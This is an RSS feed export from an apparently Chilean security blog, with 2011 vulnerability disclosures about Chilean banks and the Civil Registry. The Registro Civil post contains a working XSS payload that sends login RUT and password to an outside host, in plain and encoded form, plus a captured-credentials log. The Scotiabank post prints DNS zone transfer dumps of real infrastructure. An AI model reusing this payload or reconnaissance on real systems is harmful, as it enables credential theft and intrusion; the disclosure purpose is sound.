<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; chile</title>
	<atom:link href="http://blog.zerial.org/tag/chile/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Transferencia de Zona en los DNS de Scotiabank</title>
		<link>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/</link>
		<comments>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 22:12:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[banco del desarrollo]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[scotiabank]]></category>
		<category><![CDATA[transferencia de zona]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2843</guid>
		<description><![CDATA[Hace un tiempo escribí sobre las vulnerabilidades AXFR, tambien publiqué un script que nos ayuda a buscar dns que tengan esta configuración. Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo escribí sobre las <a href="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/">vulnerabilidades AXFR</a>, tambien <a href="http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/">publiqué un script</a> que nos ayuda a buscar dns que tengan esta configuración.</p>
<p>Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a cualquier persona poder actuar como servidor secundario y transferir las zonas.<br />
El DNS que tiene los problemas es el secundario, <strong>ns2.scotiabank.cl</strong>. Si intentamos transferir las zonas desde el secundario, obtenemos los subdominios asociados a scotiabank.cl:</p>
<blockquote><p>scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
scotiabank.cl.        3600    IN    NS    ns2.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    NS    fw-ext.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    A    200.14.209.97<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    TXT    &#8221;v=spf1 a mx ip4:168.165.13.0/24 include:spf.masterbase.com ~all&#8221;<br />
alteon1.scotiabank.cl.    3600    IN    A    200.14.209.101<br />
alteon2.scotiabank.cl.    3600    IN    A    200.55.208.27<br />
corporate.scotiabank.cl. 3600    IN    CNAME    sdol.mastercard.com.<br />
fw-ext.scotiabank.cl.    3600    IN    A    200.14.209.97<br />
gslb.scotiabank.cl.    600    IN    NS    alteon1.scotiabank.cl.<br />
gslb.scotiabank.cl.    600    IN    NS    alteon2.scotiabank.cl.<br />
ns2.scotiabank.cl.    3600    IN    A    200.55.208.26<br />
smexstsip11.scotiabank.cl. 600    IN    A    168.165.13.70<br />
smexstsip21.scotiabank.cl. 600    IN    A    168.165.13.73<br />
smexstsip31.scotiabank.cl. 600    IN    A    168.165.13.76<br />
www.scotiabank.cl.    600    IN    CNAME    www.gslb.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 44 msec</p></blockquote>
<p>Y todos los dominios que esten usando a ns2.scotiabank.cl como dns, tambien seran vulnerables a este tipo de ataque, por ejemplo, el Banco del Desarrollo:</p>
<blockquote><p>bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
bdd.cl.            3600    IN    NS    ns2.scotiabank.cl.<br />
bdd.cl.            3600    IN    NS    fw-ext.scotiabank.cl.<br />
bdd.cl.            3600    IN    A    200.14.209.97<br />
bdd.cl.            3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    TXT    &#8221;v=spf1 ip4:168.165.13.0/24 ~all&#8221;<br />
alteon1.bdd.cl.        3600    IN    A    200.14.209.101<br />
alteon2.bdd.cl.        3600    IN    A    200.55.208.27<br />
fw-ext.bdd.cl.        3600    IN    A    200.14.209.97<br />
gslb.bdd.cl.        600    IN    NS    alteon1.bdd.cl.<br />
gslb.bdd.cl.        600    IN    NS    alteon2.bdd.cl.<br />
ns2.bdd.cl.        3600    IN    A    200.55.208.26<br />
smexstsip11.bdd.cl.    600    IN    A    168.165.13.70<br />
smexstsip21.bdd.cl.    600    IN    A    168.165.13.73<br />
smexstsip31.bdd.cl.    600    IN    A    168.165.13.76<br />
www.bdd.cl.        300    IN    CNAME    www.gslb.bdd.cl.<br />
bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 37 msec</p></blockquote>
<p>Como es de costumbre, los bancos no tienen procedimientos ni forma para contactar a los responsables.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ftransferencia-de-zona-en-los-dns-de-scotiabank%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/"  data-text="Transferencia de Zona en los DNS de Scotiabank" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Frobo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"  data-text="Robo de credenciales y suplantación de identidad en sitio web del Registro Civil" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Directory Listing en Corpbanca.cl</title>
		<link>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/</link>
		<comments>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 14:30:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[corpbanca]]></category>
		<category><![CDATA[directory listing]]></category>
		<category><![CDATA[listado de directorios]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2781</guid>
		<description><![CDATA[El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue. El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;﻿ComprobanteCargoAbono_Personas.aspx.20081217&#8220;, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif"><img class="aligncenter size-full wp-image-2782" title="logo_cbc" src="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif" alt="" width="310" height="53" /></a></p>
<p>El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.</p>
<p>El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;<em>﻿ComprobanteCargoAbono_Personas.aspx.20081217</em>&#8220;, un respaldo del año 2008 del archivo <em>ComprobanteCargoAbono_Personas.aspx</em> que, antes que  limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png"><img class="aligncenter size-full wp-image-2786" title="DL_3" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png" alt="" width="593" height="465" /></a></p>
<p>En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de &#8220;prueba&#8221; que nos pueden entregar información sensible</p>
<p><span id="more-2781"></span></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png"><img class="aligncenter size-full wp-image-2787" title="DL_1" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png" alt="" width="614" height="112" /></a></p>
<p>Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png"><img class="aligncenter size-full wp-image-2789" title="DL_2" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png" alt="" width="584" height="339" /></a></p>
<p>Despues de haber dado la presentación de <a href="http://secureless.org">Secureless</a> en la<a href="http://8dot8.org"> CSC 8.8</a>, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirectory-listing-en-corpbanca-cl%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/"  data-text="Directory Listing en Corpbanca.cl" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Banco Central de Chile vulnerable a XSS</title>
		<link>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/</link>
		<comments>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:43:57 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco central]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2738</guid>
		<description><![CDATA[El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif"><img class="aligncenter size-full wp-image-2740" title="logo_bcch" src="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif" alt="" width="139" height="139" /></a></p>
<p>El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un <strong>disclosure</strong> sobre las vulnerabilidades para denunciar este tipo de hechos.</p>
<p>El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.<br />
El XSS que encontré, está en el archvo <strong>rim/default.asp</strong> en el subdominio <strong>si2.bcentral.cl</strong>.</p>
<p>Como prueba de concepto, incrustaré un &#8216;iframe&#8217; con el sitio web de Google dentro del sitio del Banco Central</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png"><img class="aligncenter size-full wp-image-2743" title="bcentral_xss1" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png" alt="" width="583" height="593" /></a></p>
<p>Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio &#8220;<strong>seguro</strong>&#8220;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png"><img class="aligncenter size-full wp-image-2744" title="bcentral_xss2" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png" alt="" width="241" height="27" /></a>Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.</p>
<p><span id="more-2738"></span></p>
<p>La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección &#8220;Base de datos economicos&#8221;, que al parecer ya ha sido corregido.</p>
<p>Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fbanco-central-de-chile-vulnerable-a-xss%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
